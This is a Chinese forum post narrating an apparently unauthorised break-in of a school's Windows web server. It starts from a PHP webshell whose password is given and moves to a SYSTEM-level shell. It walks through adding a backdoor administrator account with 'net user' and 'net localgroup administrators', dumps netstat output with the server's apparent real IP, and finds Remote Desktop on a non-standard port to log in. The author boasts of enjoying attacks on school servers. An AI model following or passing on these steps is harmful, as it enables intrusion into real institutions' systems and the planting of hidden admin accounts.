一次php环境下的提权
Shell:http://案例/student/inc/hack/help.phpPass:silic拿到shell,先执行了下DOS命令,如图:可以成功执行,只是没看到administrator,有点奇怪,看了一下这几个用户的权限,发现windsasc是管理员,如图:
这只是个小插曲,无关提权。然后看了下权限,震惊了一下,看图:
直接是system啊,那还不是想干嘛就干嘛了?这种情况真不多,虽然php在安装的时候默认是以system权限运行的,但是现在国内用Php的一般都做了降权处理的,一般都是user权限,不会是默认的system权限,但是这里出现了一个另类,这个站是学校的站,我一直喜欢提学校的服务器,因为学校的服务器权限限制一般都不会很变态,这里正好遇到个另类,我喜欢。顺便提一下,asp的web的权限一般都是guest,aspx和php的web一般都是user,jsp的web一般都是system。但是这个例子因为管理员的疏忽大意,导致我们拿到的php的web的权限直接是system,那这权就好提了。
直接添加用户就行了,如图:看图,没有回显。
一般的命令执行成功会给出提示的,但是这里没有提示,那就说明命令没有成功执行,不信那就回去看一下现在都有哪些用户:
没有drvfan这个用户,那就说明命令确实没有成功执行。这里遇到了壁垒,不要慌,整理一下思路,我们前边执行net user是成功的,说明管理员没有对net.exe做手脚,但是这里添加用户不成功,那就应该是服务器的安全策略的问题了,说简单点,也就是添加用户的时候,用户的密码不能太简单,太简单服务器会拒绝添加,这时候我们只需要把要添加的用户密码设置复杂一点就可以了,最好是数字+字母+符号的组合,并且最低要是14位,好了,分析完了,我们现在再来试试,现在的命令是这样的:net user drvfan drv!!!25.0**20 /add
我们的密码符合上边我说的要求,好了,来执行吧:成功了。OK,说明我们的思路是正确的,下面把这个用户添加到管理员组:
net localgroup administrators drvfan /add如图:OK,提权完毕。
现在连一下3389:连不上,出现这种错误,有2种可能:1、服务器没开远程桌面,直接本地管理的2、远程桌面默认端口被修改了但是,根据经验,一般都是第二种原因,我们来看一下服务器都开了哪些端口:一张图显示不完,我直接把结果贴上来吧: Proto Local Address Foreign Address State TCP 0.0.0.0:7 0.0.0.0:0 LISTENING TCP 0.0.0.0:9 0.0.0.0:0 LISTENING TCP 0.0.0.0:13 0.0.0.0:0 LISTENING TCP 0.0.0.0:17 0.0.0.0:0 LISTENING TCP 0.0.0.0:19 0.0.0.0:0 LISTENING TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING TCP 0.0.0.0:1280 0.0.0.0:0 LISTENING TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING TCP 0.0.0.0:6059 0.0.0.0:0 LISTENING TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING TCP 127.0.0.1:1028 0.0.0.0:0 LISTENING TCP 127.0.0.1:3295 127.0.0.1:3306 TIME_WAIT TCP 127.0.0.1:3296 127.0.0.1:3306 TIME_WAIT TCP 127.0.0.1:3297 127.0.0.1:3306 TIME_WAIT TCP 127.0.0.1:3298 127.0.0.1:3306 TIME_WAIT TCP 127.0.0.1:3299 127.0.0.1:3306 TIME_WAIT TCP 127.0.0.1:3300 127.0.0.1:3306 TIME_WAIT TCP 127.0.0.1:3301 127.0.0.1:3306 TIME_WAIT TCP 127.0.0.1:3302 127.0.0.1:3306 TIME_WAIT TCP 127.0.0.1:3306 127.0.0.1:3139 LAST_ACK TCP 127.0.0.1:3306 127.0.0.1:3159 LAST_ACK TCP 127.0.0.1:3306 127.0.0.1:3181 LAST_ACK TCP 127.0.0.1:3306 127.0.0.1:3184 LAST_ACK TCP 127.0.0.1:3306 127.0.0.1:3272 LAST_ACK TCP 127.0.0.1:3306 127.0.0.1:3284 LAST_ACK TCP 127.0.0.1:3306 127.0.0.1:3286 LAST_ACK TCP 210.44.36.11:80 61.135.249.211:11496 TIME_WAIT TCP 210.44.36.11:80 61.135.249.211:16431 TIME_WAIT TCP 210.44.36.11:80 61.135.249.211:48703 TIME_WAIT TCP 210.44.36.11:80 61.135.249.211:58504 ESTABLISHED TCP 210.44.36.11:80 114.232.158.200:4453 TIME_WAIT TCP 210.44.36.11:80 119.189.116.34:2941 ESTABLISHED TCP 210.44.36.11:80 122.78.211.165:27948 ESTABLISHED TCP 210.44.36.11:80 192.168.15.249:1928 ESTABLISHED TCP 210.44.36.11:80 203.208.60.198:57457 ESTABLISHED TCP 210.44.36.11:80 218.28.124.194:1162 ESTABLISHED TCP 210.44.36.11:80 222.171.177.98:51344 ESTABLISHED TCP 210.44.36.11:139 0.0.0.0:0 LISTENING UDP 0.0.0.0:7 *:* UDP 0.0.0.0:9 *:* UDP 0.0.0.0:13 *:* UDP 0.0.0.0:17 *:* UDP 0.0.0.0:19 *:* UDP 0.0.0.0:1645 *:* UDP 0.0.0.0:1646 *:* UDP 0.0.0.0:1812 *:* UDP 0.0.0.0:1813 *:* UDP 127.0.0.1:123 *:* UDP 127.0.0.1:1026 *:* UDP 127.0.0.1:1027 *:* UDP 210.44.36.11:123 *:* UDP 210.44.36.11:137 *:* UDP 210.44.36.11:138 *:*要知道,一般的,管理员就算改了远程桌面的端口,也是大于1024的端口,所以我们只用找找大于1024的端口即可。
找到了下面几个可疑端口:1025,1029,1280,3306,6059,47001
这几个找到的端口里,3306是mysql数据库的默认端口,并且已经确定这个网站用的是mysql数据库,看一下网站的数据库连接文件吧:可以看到,确实是用的mysql,那么3306端口就被排除了。
剩下的几个端口,如果不出意外,其中就有一个是远程桌面的端口,那么,一个一个试吧,我在试到1280端口的时候,出现了登陆界面,如图:
OK,万事俱备,登陆吧:OK,提权完毕。
页:
[1]